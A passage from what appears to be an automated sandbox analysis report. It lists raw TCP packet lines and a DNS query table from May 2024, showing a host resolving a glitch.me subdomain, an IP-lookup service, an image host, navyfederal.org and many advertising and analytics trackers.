May 25, 2024 00:45:23.974904060 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974922895 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.974935055 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974967957 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.974981070 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.975327015 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.975361109 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.975377083 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.975394011 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.975428104 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.975449085 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.976198912 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.976233006 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.976258993 CEST	49704	80	192.168.2.6	18.210.59.152
May 25, 2024 00:45:23.976264000 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.976296902 CEST	80	49704	18.210.59.152	192.168.2.6
May 25, 2024 00:45:23.976310015 CEST	49704	80	192.168.2.6	18.210.59.152

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 25, 2024 00:45:22.716197014 CEST	192.168.2.6	1.1.1.1	0x92ba	Standard query (0)	delicious-decorous-army.glitch.me	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:22.716341972 CEST	192.168.2.6	1.1.1.1	0xdce8	Standard query (0)	delicious-decorous-army.glitch.me	65	IN (0x0001)	false
May 25, 2024 00:45:25.170068979 CEST	192.168.2.6	1.1.1.1	0xb401	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:25.170456886 CEST	192.168.2.6	1.1.1.1	0x86a3	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 25, 2024 00:45:26.379112005 CEST	192.168.2.6	1.1.1.1	0x661	Standard query (0)	l2.io	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.380247116 CEST	192.168.2.6	1.1.1.1	0x1753	Standard query (0)	l2.io	65	IN (0x0001)	false
May 25, 2024 00:45:26.385390043 CEST	192.168.2.6	1.1.1.1	0x3ede	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:26.385557890 CEST	192.168.2.6	1.1.1.1	0x92fc	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
May 25, 2024 00:45:27.453716993 CEST	192.168.2.6	1.1.1.1	0xed5d	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:27.454333067 CEST	192.168.2.6	1.1.1.1	0x8f90	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
May 25, 2024 00:45:41.046838999 CEST	192.168.2.6	1.1.1.1	0xb9b4	Standard query (0)	www.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:41.047065020 CEST	192.168.2.6	1.1.1.1	0xc97c	Standard query (0)	www.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:45:44.550137997 CEST	192.168.2.6	1.1.1.1	0x4d97	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:44.550543070 CEST	192.168.2.6	1.1.1.1	0xe67	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
May 25, 2024 00:45:45.997625113 CEST	192.168.2.6	1.1.1.1	0x1d19	Standard query (0)	www.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:45.998038054 CEST	192.168.2.6	1.1.1.1	0xcb29	Standard query (0)	www.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:45:47.543353081 CEST	192.168.2.6	1.1.1.1	0x634	Standard query (0)	dm-assets.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.543525934 CEST	192.168.2.6	1.1.1.1	0x17c6	Standard query (0)	dm-assets.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:45:47.546931982 CEST	192.168.2.6	1.1.1.1	0x76ee	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:47.547076941 CEST	192.168.2.6	1.1.1.1	0x473	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
May 25, 2024 00:45:49.401985884 CEST	192.168.2.6	1.1.1.1	0x58c3	Standard query (0)	dm-assets.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:49.402206898 CEST	192.168.2.6	1.1.1.1	0xc226	Standard query (0)	dm-assets.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:45:50.967016935 CEST	192.168.2.6	1.1.1.1	0x4b3a	Standard query (0)	navyfederalcu.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:50.967164040 CEST	192.168.2.6	1.1.1.1	0x1292	Standard query (0)	navyfederalcu.tt.omtrdc.net	65	IN (0x0001)	false
May 25, 2024 00:45:51.071141958 CEST	192.168.2.6	1.1.1.1	0x1df6	Standard query (0)	nfcu.demdex.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.071480036 CEST	192.168.2.6	1.1.1.1	0x94b7	Standard query (0)	nfcu.demdex.net	65	IN (0x0001)	false
May 25, 2024 00:45:51.072755098 CEST	192.168.2.6	1.1.1.1	0xe454	Standard query (0)	analytics.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.072909117 CEST	192.168.2.6	1.1.1.1	0xf149	Standard query (0)	analytics.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:45:51.133649111 CEST	192.168.2.6	1.1.1.1	0x3d95	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.133810043 CEST	192.168.2.6	1.1.1.1	0x3bac	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
May 25, 2024 00:45:51.798901081 CEST	192.168.2.6	1.1.1.1	0xd663	Standard query (0)	analytics.navyfederal.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:51.799288988 CEST	192.168.2.6	1.1.1.1	0x7ba4	Standard query (0)	analytics.navyfederal.org	65	IN (0x0001)	false
May 25, 2024 00:45:52.002389908 CEST	192.168.2.6	1.1.1.1	0x9e41	Standard query (0)	navyfederalcu.tt.omtrdc.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:52.002545118 CEST	192.168.2.6	1.1.1.1	0xc709	Standard query (0)	navyfederalcu.tt.omtrdc.net	65	IN (0x0001)	false
May 25, 2024 00:45:53.582206011 CEST	192.168.2.6	1.1.1.1	0xb753	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:53.582375050 CEST	192.168.2.6	1.1.1.1	0x93e8	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
May 25, 2024 00:45:54.443531036 CEST	192.168.2.6	1.1.1.1	0x34fd	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:54.444263935 CEST	192.168.2.6	1.1.1.1	0xf4c0	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
May 25, 2024 00:45:57.327893972 CEST	192.168.2.6	1.1.1.1	0x8fb3	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.328221083 CEST	192.168.2.6	1.1.1.1	0x20f4	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
May 25, 2024 00:45:57.335789919 CEST	192.168.2.6	1.1.1.1	0x2df1	Standard query (0)	utt.impactcdn.com	65	IN (0x0001)	false
May 25, 2024 00:45:57.335789919 CEST	192.168.2.6	1.1.1.1	0xfd7e	Standard query (0)	utt.impactcdn.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.336554050 CEST	192.168.2.6	1.1.1.1	0xcf26	Standard query (0)	cdn.pbbl.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.337493896 CEST	192.168.2.6	1.1.1.1	0x59e0	Standard query (0)	live.rezync.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.337493896 CEST	192.168.2.6	1.1.1.1	0x25f5	Standard query (0)	cdn.pbbl.co	65	IN (0x0001)	false
May 25, 2024 00:45:57.337914944 CEST	192.168.2.6	1.1.1.1	0xd4e3	Standard query (0)	live.rezync.com	65	IN (0x0001)	false
May 25, 2024 00:45:57.338562012 CEST	192.168.2.6	1.1.1.1	0xdd44	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.339202881 CEST	192.168.2.6	1.1.1.1	0x69f9	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
May 25, 2024 00:45:57.339204073 CEST	192.168.2.6	1.1.1.1	0xa2c1	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.339656115 CEST	192.168.2.6	1.1.1.1	0x9a9	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
May 25, 2024 00:45:57.340621948 CEST	192.168.2.6	1.1.1.1	0x2f73	Standard query (0)	9749892.fls.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.341626883 CEST	192.168.2.6	1.1.1.1	0x8ef7	Standard query (0)	9749892.fls.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:45:57.342659950 CEST	192.168.2.6	1.1.1.1	0xc32e	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.342659950 CEST	192.168.2.6	1.1.1.1	0x366	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:45:57.343358040 CEST	192.168.2.6	1.1.1.1	0x1a0a	Standard query (0)	collector-11598.tvsquared.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.343841076 CEST	192.168.2.6	1.1.1.1	0x801e	Standard query (0)	collector-11598.tvsquared.com	65	IN (0x0001)	false
May 25, 2024 00:45:57.344618082 CEST	192.168.2.6	1.1.1.1	0xf583	Standard query (0)	2992003.fls.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.345040083 CEST	192.168.2.6	1.1.1.1	0x7a20	Standard query (0)	2992003.fls.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:45:58.580960989 CEST	192.168.2.6	1.1.1.1	0xc2e1	Standard query (0)	cdn.pdst.fm	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:58.581635952 CEST	192.168.2.6	1.1.1.1	0x48c4	Standard query (0)	cdn.pdst.fm	65	IN (0x0001)	false
May 25, 2024 00:45:58.586401939 CEST	192.168.2.6	1.1.1.1	0x72bd	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:58.586550951 CEST	192.168.2.6	1.1.1.1	0x7eef	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
May 25, 2024 00:45:58.633618116 CEST	192.168.2.6	1.1.1.1	0x8109	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:58.633769989 CEST	192.168.2.6	1.1.1.1	0x2b0c	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
May 25, 2024 00:45:58.642242908 CEST	192.168.2.6	1.1.1.1	0xa147	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:58.642460108 CEST	192.168.2.6	1.1.1.1	0x6823	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:45:59.822551966 CEST	192.168.2.6	1.1.1.1	0x2e89	Standard query (0)	cdn.pbbl.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.822916031 CEST	192.168.2.6	1.1.1.1	0x8992	Standard query (0)	cdn.pbbl.co	65	IN (0x0001)	false
May 25, 2024 00:45:59.839040041 CEST	192.168.2.6	1.1.1.1	0xbd4a	Standard query (0)	us-central1-adaptive-growth.cloudfunctions.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.839610100 CEST	192.168.2.6	1.1.1.1	0x3534	Standard query (0)	us-central1-adaptive-growth.cloudfunctions.net	65	IN (0x0001)	false
May 25, 2024 00:46:00.023880005 CEST	192.168.2.6	1.1.1.1	0xc393	Standard query (0)	b.videoamp.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.024049997 CEST	192.168.2.6	1.1.1.1	0x372d	Standard query (0)	b.videoamp.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.025398970 CEST	192.168.2.6	1.1.1.1	0xb260	Standard query (0)	trkn.us	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.025824070 CEST	192.168.2.6	1.1.1.1	0xfd42	Standard query (0)	trkn.us	65	IN (0x0001)	false
May 25, 2024 00:46:00.031066895 CEST	192.168.2.6	1.1.1.1	0xd358	Standard query (0)	c.tvpixel.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.031254053 CEST	192.168.2.6	1.1.1.1	0x77aa	Standard query (0)	c.tvpixel.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.032377958 CEST	192.168.2.6	1.1.1.1	0xd22b	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.032533884 CEST	192.168.2.6	1.1.1.1	0x5239	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.033577919 CEST	192.168.2.6	1.1.1.1	0xaebf	Standard query (0)	insight.adsrvr.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.033721924 CEST	192.168.2.6	1.1.1.1	0x32d8	Standard query (0)	insight.adsrvr.org	65	IN (0x0001)	false
May 25, 2024 00:46:00.033974886 CEST	192.168.2.6	1.1.1.1	0x7645	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.034090042 CEST	192.168.2.6	1.1.1.1	0xe52e	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.234894991 CEST	192.168.2.6	1.1.1.1	0xde08	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.235172033 CEST	192.168.2.6	1.1.1.1	0x5139	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.302081108 CEST	192.168.2.6	1.1.1.1	0x2a75	Standard query (0)	c1.rfihub.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.302453995 CEST	192.168.2.6	1.1.1.1	0x88c4	Standard query (0)	c1.rfihub.net	65	IN (0x0001)	false
May 25, 2024 00:46:00.303807020 CEST	192.168.2.6	1.1.1.1	0x10e6	Standard query (0)	cdn.boomtrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.304259062 CEST	192.168.2.6	1.1.1.1	0x97c4	Standard query (0)	cdn.boomtrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.449563026 CEST	192.168.2.6	1.1.1.1	0xa30f	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.449734926 CEST	192.168.2.6	1.1.1.1	0x2793	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:46:00.487938881 CEST	192.168.2.6	1.1.1.1	0x27ca	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.488126993 CEST	192.168.2.6	1.1.1.1	0x18ab	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.827533960 CEST	192.168.2.6	1.1.1.1	0x84d3	Standard query (0)	cdn.bttrack.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.827682018 CEST	192.168.2.6	1.1.1.1	0x8cc3	Standard query (0)	cdn.bttrack.com	65	IN (0x0001)	false
May 25, 2024 00:46:00.828811884 CEST	192.168.2.6	1.1.1.1	0x3e52	Standard query (0)	tag.simpli.fi	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.829021931 CEST	192.168.2.6	1.1.1.1	0x3006	Standard query (0)	tag.simpli.fi	65	IN (0x0001)	false
May 25, 2024 00:46:00.830691099 CEST	192.168.2.6	1.1.1.1	0x2c5f	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.830902100 CEST	192.168.2.6	1.1.1.1	0xee8d	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
May 25, 2024 00:46:01.092763901 CEST	192.168.2.6	1.1.1.1	0x1111	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.093092918 CEST	192.168.2.6	1.1.1.1	0xa3ea	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
May 25, 2024 00:46:01.159265995 CEST	192.168.2.6	1.1.1.1	0xdea5	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.159682989 CEST	192.168.2.6	1.1.1.1	0x3a01	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
May 25, 2024 00:46:01.826328039 CEST	192.168.2.6	1.1.1.1	0xac87	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.826493979 CEST	192.168.2.6	1.1.1.1	0x2624	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
May 25, 2024 00:46:01.854376078 CEST	192.168.2.6	1.1.1.1	0xd696	Standard query (0)	20843995p.rfihub.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.854623079 CEST	192.168.2.6	1.1.1.1	0x5fba	Standard query (0)	20843995p.rfihub.com	65	IN (0x0001)	false
May 25, 2024 00:46:01.920526028 CEST	192.168.2.6	1.1.1.1	0xc40d	Standard query (0)	p.tvpixel.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.921102047 CEST	192.168.2.6	1.1.1.1	0xb3d8	Standard query (0)	p.tvpixel.com	65	IN (0x0001)	false
May 25, 2024 00:46:01.924397945 CEST	192.168.2.6	1.1.1.1	0xab0d	Standard query (0)	b.videoamp.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.924549103 CEST	192.168.2.6	1.1.1.1	0x8a49	Standard query (0)	b.videoamp.com	65	IN (0x0001)	false
May 25, 2024 00:46:01.931170940 CEST	192.168.2.6	1.1.1.1	0xbe60	Standard query (0)	c1.rfihub.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.932163000 CEST	192.168.2.6	1.1.1.1	0x2e33	Standard query (0)	c1.rfihub.net	65	IN (0x0001)	false
May 25, 2024 00:46:01.936249018 CEST	192.168.2.6	1.1.1.1	0xff77	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.936400890 CEST	192.168.2.6	1.1.1.1	0x7394	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
May 25, 2024 00:46:01.942085028 CEST	192.168.2.6	1.1.1.1	0xa8c9	Standard query (0)	us-central1-adaptive-growth.cloudfunctions.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.942300081 CEST	192.168.2.6	1.1.1.1	0xd97d	Standard query (0)	us-central1-adaptive-growth.cloudfunctions.net	65	IN (0x0001)	false
May 25, 2024 00:46:02.052246094 CEST	192.168.2.6	1.1.1.1	0x8af4	Standard query (0)	ct.pinterest.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.052783966 CEST	192.168.2.6	1.1.1.1	0x24af	Standard query (0)	ct.pinterest.com	65	IN (0x0001)	false
May 25, 2024 00:46:02.083431005 CEST	192.168.2.6	1.1.1.1	0xf53c	Standard query (0)	20843995p.rfihub.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.083796978 CEST	192.168.2.6	1.1.1.1	0x7e30	Standard query (0)	20843995p.rfihub.com	65	IN (0x0001)	false
May 25, 2024 00:46:02.349695921 CEST	192.168.2.6	1.1.1.1	0xf462	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.350183010 CEST	192.168.2.6	1.1.1.1	0x2ad2	Standard query (0)	bttrack.com	65	IN (0x0001)	false
May 25, 2024 00:46:02.376612902 CEST	192.168.2.6	1.1.1.1	0x5a86	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.376823902 CEST	192.168.2.6	1.1.1.1	0x5566	Standard query (0)	t.co	65	IN (0x0001)	false
May 25, 2024 00:46:02.387938023 CEST	192.168.2.6	1.1.1.1	0x80b8	Standard query (0)	people.api.boomtrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.388092995 CEST	192.168.2.6	1.1.1.1	0x63be	Standard query (0)	people.api.boomtrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:02.542292118 CEST	192.168.2.6	1.1.1.1	0x2bd2	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.542396069 CEST	192.168.2.6	1.1.1.1	0xadd2	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
May 25, 2024 00:46:02.550035954 CEST	192.168.2.6	1.1.1.1	0x21ac	Standard query (0)	trkn.us	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.550201893 CEST	192.168.2.6	1.1.1.1	0x47bf	Standard query (0)	trkn.us	65	IN (0x0001)	false
May 25, 2024 00:46:02.711903095 CEST	192.168.2.6	1.1.1.1	0x6f45	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.712416887 CEST	192.168.2.6	1.1.1.1	0x381e	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.712538004 CEST	192.168.2.6	1.1.1.1	0xb299	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
May 25, 2024 00:46:02.920277119 CEST	192.168.2.6	1.1.1.1	0x3bd2	Standard query (0)	collector-11598.tvsquared.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.920413017 CEST	192.168.2.6	1.1.1.1	0xec9	Standard query (0)	collector-11598.tvsquared.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.173753023 CEST	192.168.2.6	1.1.1.1	0x36e6	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.173901081 CEST	192.168.2.6	1.1.1.1	0xfab1	Standard query (0)	t.co	65	IN (0x0001)	false
May 25, 2024 00:46:03.180803061 CEST	192.168.2.6	1.1.1.1	0xef40	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.180944920 CEST	192.168.2.6	1.1.1.1	0x3297	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.279452085 CEST	192.168.2.6	1.1.1.1	0xf1e6	Standard query (0)	events.api.boomtrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.279719114 CEST	192.168.2.6	1.1.1.1	0xe875	Standard query (0)	events.api.boomtrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.285136938 CEST	192.168.2.6	1.1.1.1	0x2a08	Standard query (0)	people.api.boomtrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.285265923 CEST	192.168.2.6	1.1.1.1	0x1504	Standard query (0)	people.api.boomtrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.308420897 CEST	192.168.2.6	1.1.1.1	0xf721	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.308563948 CEST	192.168.2.6	1.1.1.1	0xf750	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.387634039 CEST	192.168.2.6	1.1.1.1	0x73d5	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.387871981 CEST	192.168.2.6	1.1.1.1	0x45c9	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.412174940 CEST	192.168.2.6	1.1.1.1	0xfa8b	Standard query (0)	20823298p.rfihub.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.412595034 CEST	192.168.2.6	1.1.1.1	0xea13	Standard query (0)	20823298p.rfihub.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.413183928 CEST	192.168.2.6	1.1.1.1	0x46c4	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.413317919 CEST	192.168.2.6	1.1.1.1	0x6e24	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.893306971 CEST	192.168.2.6	1.1.1.1	0x3ecb	Standard query (0)	p.tvpixel.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.893480062 CEST	192.168.2.6	1.1.1.1	0xc82a	Standard query (0)	p.tvpixel.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.927438021 CEST	192.168.2.6	1.1.1.1	0xc714	Standard query (0)	i.simpli.fi	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.928467035 CEST	192.168.2.6	1.1.1.1	0x9f1b	Standard query (0)	i.simpli.fi	65	IN (0x0001)	false
May 25, 2024 00:46:03.962158918 CEST	192.168.2.6	1.1.1.1	0x2da1	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.962357998 CEST	192.168.2.6	1.1.1.1	0xc91a	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
May 25, 2024 00:46:03.998016119 CEST	192.168.2.6	1.1.1.1	0x4b80	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:03.998157024 CEST	192.168.2.6	1.1.1.1	0xabda	Standard query (0)	bttrack.com	65	IN (0x0001)	false
May 25, 2024 00:46:04.254123926 CEST	192.168.2.6	1.1.1.1	0x892c	Standard query (0)	lptag.liveperson.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.254544020 CEST	192.168.2.6	1.1.1.1	0xd9b5	Standard query (0)	lptag.liveperson.net	65	IN (0x0001)	false
May 25, 2024 00:46:04.254957914 CEST	192.168.2.6	1.1.1.1	0xedd8	Standard query (0)	px0.pbbl.co	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.255116940 CEST	192.168.2.6	1.1.1.1	0xa732	Standard query (0)	px0.pbbl.co	65	IN (0x0001)	false
May 25, 2024 00:46:04.256757975 CEST	192.168.2.6	1.1.1.1	0xa5fa	Standard query (0)	events.api.boomtrain.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.257134914 CEST	192.168.2.6	1.1.1.1	0xd43c	Standard query (0)	events.api.boomtrain.com	65	IN (0x0001)	false
May 25, 2024 00:46:04.840389013 CEST	192.168.2.6	1.1.1.1	0x18e3	Standard query (0)	i6.liadm.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.840589046 CEST	192.168.2.6	1.1.1.1	0x5403	Standard query (0)	i6.liadm.com	65	IN (0x0001)	false
May 25, 2024 00:46:04.935663939 CEST	192.168.2.6	1.1.1.1	0x2a87	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:04.935863972 CEST	192.168.2.6	1.1.1.1	0xa6fb	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
May 25, 2024 00:46:04.999990940 CEST	192.168.2.6	1.1.1.1	0x9f5f	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.000267029 CEST	192.168.2.6	1.1.1.1	0xbd18	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
May 25, 2024 00:46:05.012525082 CEST	192.168.2.6	1.1.1.1	0xfa08	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.012676954 CEST	192.168.2.6	1.1.1.1	0x982	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:46:05.409698963 CEST	192.168.2.6	1.1.1.1	0xc723	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.409848928 CEST	192.168.2.6	1.1.1.1	0xb47c	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
May 25, 2024 00:46:05.718094110 CEST	192.168.2.6	1.1.1.1	0x2e5	Standard query (0)	i6.liadm.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.718431950 CEST	192.168.2.6	1.1.1.1	0x4ff0	Standard query (0)	i6.liadm.com	65	IN (0x0001)	false
May 25, 2024 00:46:05.862154007 CEST	192.168.2.6	1.1.1.1	0x4cf8	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:05.862334967 CEST	192.168.2.6	1.1.1.1	0xe62d	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
May 25, 2024 00:46:06.007312059 CEST	192.168.2.6	1.1.1.1	0x412e	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:06.007450104 CEST	192.168.2.6	1.1.1.1	0x3d13	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
May 25, 2024 00:46:06.016532898 CEST	192.168.2.6	1.1.1.1	0x1263	Standard query (0)	s.ad.smaato.net	A (IP address)	IN (0x0001)	false
